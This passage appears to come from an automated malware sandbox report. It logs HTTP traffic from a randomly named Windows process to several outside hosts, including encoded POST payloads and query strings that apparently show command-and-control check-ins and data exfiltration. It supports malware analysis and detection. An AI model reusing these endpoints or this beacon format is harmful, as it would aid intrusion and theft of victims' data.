3tV=NqM8WKsJC2iaEQ6eAtrOsyhfj/SUtbROBU5ZVzEaMAyHsM8W1Lqxpa+PsczU+ADHQeM2a+X0Et6vFxqmG3mcAMMj170bZ7ZRDZCgvApvLvObHtSxcAZARKeSPkvAhWbl3lzsu0WtnqmocPsMy6Ph5NYq8Lc29BsmK6CaUVa4w04Omyrott+IX6XPOiJyzt4IcsIu01EBTXR7wuFtqTc9lbqM/b2GHpBgMc71tohrf+MUCzl8qKxb6NpLgSDow2bdscg0KoUz6cH8Hlcr+A7Pz8mP4AHsJG3FuC+vd6yEQkdHek5xmq2dN+sE3V28/iHrU6/PwhpIORT6j2CILLheXkrwoo4CO7SmJnm6xDKenmZ8PvNQad0/wCYannlD/sgKIneuVlzAco9VKXl2ZEKEyjSEmNZQhU/B0xIGWIS3LxVqL8sy1VKuQIk3BMYp0h4kx/ZQP/AjmNebSgl2Lb5rFBpKmW5cDBKKcFt2olJMDuyWHJQXZuILlloUWl53bUhC+gsaNAx2po2r/mwP0yZobiY4nN7F6HXx8v4B2nXGonvbka79RwVEHUjaqd9sEZTtsWINVouKCzFxn6l3Xz0nUX2PTMkAjyv72fzIPLLyOtEBVzv9QlweDfUnywxwI19E1sP66U6KDybOtYnLcb7miVxx7l94ezYv4lU4VxKXQU/beILOnXa/nlDbAMou0ieib8gDpOiJKRcghOG4ZeGCN7n3gMfXN2eCRUese/a9ug1m+CXjVCwl53fUi/6snWtxUhlBzO9kPkBE9ZuJudlSmmatQrkdYSi6bFB7+ItugwUOCHM23o+TtAGbqOvBgyOwkbNqJnZx6CqFkclLXOay6YYTmqdc9nLK0oLvnjD6VOJJjD6v5/OIVl9ayc4H1kfdKfA99Z3+inL5WOld1+56xxCetV/Hzf0/JR9UxgINZV4D1ScVK2gHwkLfRUTFVG8jJG3E21wcIWiOomFZmK+7Ae5Rg4H6wM/KS8+auUp88H6KhBxF [TRUNCATED]
Sep 12, 2024 15:08:06.206929922 CEST	208	IN	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Thu, 12 Sep 2024 13:08:06 GMT Content-Type: application/octet-stream Content-Length: 25 Connection: close Content-Type: text/plain Data Raw: 42 72 61 6e 64 20 50 61 67 65 20 43 75 73 74 6f 6d 20 44 6f 6d 61 69 6e 73 Data Ascii: Brand Page Custom Domains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	76.223.113.161	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:08.300906897 CEST	431	OUT	GET /n3rq/?3tV=AokcV8lrD1iGOQWcBcmCrANBpf6sr5VfHV9HQUhaLRmf3Oh9ttLkjbrN5cmv13PiDvU4asCjKcP/FjbrfTOvR8dEp5E+Erc+ELSxl31AK9blM+O7DS4CIrs=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.justlivn.net User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:08:08.786214113 CEST	208	IN	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Thu, 12 Sep 2024 13:08:08 GMT Content-Type: application/octet-stream Content-Length: 25 Connection: close Content-Type: text/plain Data Raw: 42 72 61 6e 64 20 50 61 67 65 20 43 75 73 74 6f 6d 20 44 6f 6d 61 69 6e 73 Data Ascii: Brand Page Custom Domains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	84.32.84.37	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:22.194998980 CEST	713	OUT	POST /2frz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.healtheduction.site Origin: http://www.healtheduction.site Referer: http://www.healtheduction.site/2frz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 6f 2b 54 48 34 6b 77 49 4d 52 39 57 70 48 57 49 51 4f 4c 6b 41 75 56 47 4b 75 31 48 62 64 73 35 70 62 59 70 32 6d 42 78 31 30 32 61 4a 61 6f 76 71 41 4c 6d 47 51 4d 4d 65 48 48 4d 6b 70 43 72 6d 46 76 35 66 70 34 61 31 69 43 4d 39 77 53 45 71 2b 47 7a 4e 39 33 48 63 66 46 46 51 41 76 31 38 5a 58 66 41 7a 63 5a 2b 78 2b 42 4e 64 67 53 71 68 75 58 71 75 76 70 4c 65 65 64 4d 76 62 32 7a 36 5a 43 67 66 43 47 38 32 32 67 69 62 33 4a 30 49 73 34 5a 6b 7a 76 46 33 68 36 75 47 72 5a 6d 56 61 63 59 5a 4c 58 54 70 57 72 56 43 54 70 53 41 36 56 4d 77 4e 53 4f 74 6a 68 59 69 67 69 4c 77 3d 3d Data Ascii: 3tV=o+TH4kwIMR9WpHWIQOLkAuVGKu1Hbds5pbYp2mBx102aJaovqALmGQMMeHHMkpCrmFv5fp4a1iCM9wSEq+GzN93HcfFFQAv18ZXfAzcZ+x+BNdgSqhuXquvpLeedMvb2z6ZCgfCG822gib3J0Is4ZkzvF3h6uGrZmVacYZLXTpWrVCTpSA6VMwNSOtjhYigiLw==
Sep 12, 2024 15:08:22.878165960 CEST	1232	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 12 Sep 2024 13:08:22 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.healtheduction.site/2frz/ platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 28e8f9bea0a6c943c856b91cf6684e21-bos-edge3 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.235 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	84.32.84.37	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:24.750397921 CEST	733	OUT	POST /2frz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.healtheduction.site Origin: http://www.healtheduction.site Referer: http://www.healtheduction.site/2frz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 6f 2b 54 48 34 6b 77 49 4d 52 39 57 37 33 6d 49 54 74 6a 6b 46 4f 56 48 58 65 31 48 41 4e 73 39 70 62 55 70 32 6e 55 71 31 47 53 61 4f 2f 73 76 72 45 6e 6d 54 51 4d 4d 4b 58 48 51 70 4a 44 6e 6d 46 69 47 66 70 45 61 31 69 57 4d 39 31 57 45 71 4e 2b 77 66 39 33 46 56 2f 46 48 66 67 76 31 38 5a 58 66 41 33 38 7a 2b 78 47 42 4e 4d 51 53 72 46 79 59 30 65 76 71 62 2b 65 64 47 50 62 79 7a 36 5a 67 67 61 69 38 38 7a 36 67 69 62 48 4a 30 5a 73 37 58 55 7a 70 4c 58 67 75 74 44 61 4f 70 77 54 71 54 49 50 4c 4b 36 43 62 51 45 43 7a 44 78 62 43 65 77 70 68 54 71 71 56 56 68 64 72 51 77 79 67 62 71 56 78 68 4f 4d 75 34 6e 5a 37 39 56 4a 6e 37 6b 67 3d Data Ascii: 3tV=o+TH4kwIMR9W73mITtjkFOVHXe1HANs9pbUp2nUq1GSaO/svrEnmTQMMKXHQpJDnmFiGfpEa1iWM91WEqN+wf93FV/FHfgv18ZXfA38z+xGBNMQSrFyY0evqb+edGPbyz6Zggai88z6gibHJ0Zs7XUzpLXgutDaOpwTqTIPLK6CbQECzDxbCewphTqqVVhdrQwygbqVxhOMu4nZ79VJn7kg=
Sep 12, 2024 15:08:25.443216085 CEST	1232	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 12 Sep 2024 13:08:25 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.healtheduction.site/2frz/ platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 42f036d3443d12a4bcfb5817367a14be-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.231 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	84.32.84.37	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:27.299057961 CEST	10815	OUT	POST /2frz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.healtheduction.site Origin: http://www.healtheduction.site Referer: http://www.healtheduction.site/2frz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 6f 2b 54 48 34 6b 77 49 4d 52 39 57 37 33 6d 49 54 74 6a 6b 46 4f 56 48 58 65 31 48 41 4e 73 39 70 62 55 70 32 6e 55 71 31 47 61 61 4f 4e 6b 76 71 6c 6e 6d 56 67 4d 4d 4a 58 48 41 70 4a 43 39 6d 47 53 4b 66 70 49 6b 31 68 75 4d 39 58 65 45 73 38 2b 77 46 74 33 46 58 2f 46 43 51 41 76 61 38 5a 6e 68 41 7a 59 7a 2b 78 47 42 4e 50 59 53 2f 68 75 59 32 65 76 70 4c 65 65 72 4d 76 62 4f 7a 36 52 61 67 61 6e 42 2f 48 47 67 6a 37 58 4a 6e 37 45 37 56 30 7a 72 47 33 67 6d 74 44 66 4a 70 77 6e 63 54 49 37 78 4b 37 36 62 53 77 69 6b 58 45 37 74 66 69 31 38 48 64 61 74 55 54 42 61 62 43 2b 50 4c 71 70 6f 31 66 73 37 37 6c 49 49 68 31 68 74 76 77 75 38 49 4e 68 66 34 76 70 4a 46 4b 6c 5a 45 6c 73 68 4e 6b 34 6e 32 64 61 2f 44 6c 74 32 4b 73 54 31 2f 71 6b 73 65 78 6d 6e 63 52 62 63 56 46 45 2f 59 69 74 71 59 4d 73 35 2b 32 38 35 63 62 45 38 5a 5a 4a 37 4d 46 75 53 35 72 78 34 62 57 34 6d 76 48 72 49 64 6b 72 6c 45 4a 64 44 49 72 66 6b 6c 49 5a 50 47 4f 49 46 66 6a 47 32 41 69 2f 4a 75 78 33 6f 48 48 [TRUNCATED] Data Ascii: 3tV=o+TH4kwIMR9W73mITtjkFOVHXe1HANs9pbUp2nUq1GaaONkvqlnmVgMMJXHApJC9mGSKfpIk1huM9XeEs8+wFt3FX/FCQAva8ZnhAzYz+xGBNPYS/huY2evpLeerMvbOz6RaganB/HGgj7XJn7E7V0zrG3gmtDfJpwncTI7xK76bSwikXE7tfi18HdatUTBabC+PLqpo1fs77lIIh1htvwu8INhf4vpJFKlZElshNk4n2da/Dlt2KsT1/qksexmncRbcVFE/YitqYMs5+285cbE8ZZJ7MFuS5rx4bW4mvHrIdkrlEJdDIrfklIZPGOIFfjG2Ai/Jux3oHHXgAhSsv/8bEgJ8THOMBcPUz/NakTYMNPJgBZ4/mszEMDHNsyEA2Y4XH1ODiUBkfk1Z86jtmoSqFRDtthCg5xpam36z/7ZpJrpexV/VFaNh8oe30/prBZBEW8hq4uiO4huJbEJ2f3tsNeDNmZtY9YY3kR1izEUsSCEpQdB7n25obeENQQCyrGgANA/wOQ+2D7ZylgVH53A3hMrZf/7X9XRxly6k2GIda9OctIj7i+Dm9rqGoKb5OYB5mhfDCU/yV0UxwPozA01VcmIblXMEzN9AsFlAXGsxSdlzAfSBxs2uYHvJiPv73A/qPxJgZW6WhdR5ongx+ppTIBrQ88cGF7C8yyC5zlZHwoAghwWEA0rvvW1SNceljTLCgdrSRIJlE9Po6vgekW0yrblm9t0NCAaDyJW7gI0tiL5abJaA1CaT49FRGhrHg/f/CYDqdN3l0JyEFjQnlL1D6DV0qGaxOKomeoEADeFFNVh4uKlkn66+W5Udt98Mp0jQZRu3hX0naSTUI1IFhTVPT71eSU1H8A9UZdxjAVCF+GbRdCe6THZbQA4CToCyVdJZBLcXS8IKxhGRYnlEj45Ts5J6X/AP/fmY1nIYIsg9YhrPgIHLfWPAq1+HpCuFJ3rcIfMu23Bukcog64pT//4I1E/M4tUNBskpOmn1kOMiaNCo [TRUNCATED]
Sep 12, 2024 15:08:27.981729031 CEST	1232	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 12 Sep 2024 13:08:27 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.healtheduction.site/2frz/ platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 0e436f4ac93e9a39a6da3d7deb691ac8-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.232 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	84.32.84.37	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:29.899676085 CEST	438	OUT	GET /2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KUTMu6S9hUr3H6R86Tmthm+6q52UOZ+nCsRLRXiC8/ThNXsRz23FX+gx8VT4y+4=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.healtheduction.site User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:08:30.548763037 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 12 Sep 2024 13:08:30 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.healtheduction.site/2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KUTMu6S9hUr3H6R86Tmthm+6q52UOZ+nCsRLRXiC8/ThNXsRz23FX+gx8VT4y+4=&IhkTb=xPfHG0o8kZI8 platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: f99ab451c1fed9ef1028618c9f492bd3-bos-edge3 x-hcdn-cache-status: MISS x-hcdn-upstream-rt: 0.234 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 styl
Sep 12, 2024 15:08:30.548953056 CEST	137	IN	Data Raw: 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 Data Ascii: e="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:35.725043058 CEST	698	OUT	POST /tni7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.globyglen.info Origin: http://www.globyglen.info Referer: http://www.globyglen.info/tni7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 43 67 50 56 56 72 53 6f 2f 64 57 64 43 71 53 71 31 79 67 39 4a 45 6b 4a 42 46 32 6f 45 67 66 53 64 70 56 57 6b 68 4c 38 50 6e 77 74 6b 43 67 52 49 52 74 48 71 6e 72 50 35 57 2f 30 69 65 39 47 54 6a 53 7a 48 64 30 31 66 4c 34 4f 4f 55 56 38 79 5a 61 30 46 2f 47 58 52 50 56 62 50 51 50 45 6f 32 79 7a 4d 30 57 76 53 54 6c 6e 49 74 57 2b 6f 76 6d 44 63 6a 37 71 64 6c 4f 38 4a 68 46 41 2b 30 36 47 6e 38 6c 31 50 6a 71 39 42 56 4d 45 7a 76 45 63 35 47 68 59 68 38 4f 38 54 43 57 6a 44 2b 2f 44 2b 48 33 30 43 44 78 79 76 71 6e 71 44 47 6b 61 53 35 4f 53 59 6b 33 34 76 35 46 4c 54 51 3d 3d Data Ascii: 3tV=CgPVVrSo/dWdCqSq1yg9JEkJBF2oEgfSdpVWkhL8PnwtkCgRIRtHqnrP5W/0ie9GTjSzHd01fL4OOUV8yZa0F/GXRPVbPQPEo2yzM0WvSTlnItW+ovmDcj7qdlO8JhFA+06Gn8l1Pjq9BVMEzvEc5GhYh8O8TCWjD+/D+H30CDxyvqnqDGkaS5OSYk34v5FLTQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:38.280320883 CEST	718	OUT	POST /tni7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.globyglen.info Origin: http://www.globyglen.info Referer: http://www.globyglen.info/tni7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 43 67 50 56 56 72 53 6f 2f 64 57 64 42 4b 43 71 33 54 67 39 50 6b 6b 57 63 31 32 6f 64 51 65 62 64 70 52 57 6b 67 50 73 4d 56 55 74 6c 6e 4d 52 47 31 78 48 70 6e 72 50 32 32 2f 39 73 2b 39 7a 54 6a 75 42 48 63 59 31 66 4c 73 4f 4f 52 35 38 79 71 69 33 66 50 48 78 46 2f 56 56 52 67 50 45 6f 32 79 7a 4d 33 71 52 53 54 39 6e 49 64 47 2b 36 39 65 45 52 44 37 70 4e 31 4f 38 4e 68 46 62 2b 30 36 34 6e 34 39 66 50 68 53 39 42 58 6b 45 7a 2b 45 44 77 47 68 65 2f 38 50 70 53 54 72 30 46 4f 4f 39 33 47 7a 77 4e 7a 4a 42 75 73 32 77 53 33 46 4e 41 35 71 68 46 6a 2b 4d 69 36 34 43 49 58 61 6e 6c 33 64 6a 62 42 5a 59 6d 5a 48 69 66 4b 4c 4c 54 71 55 3d Data Ascii: 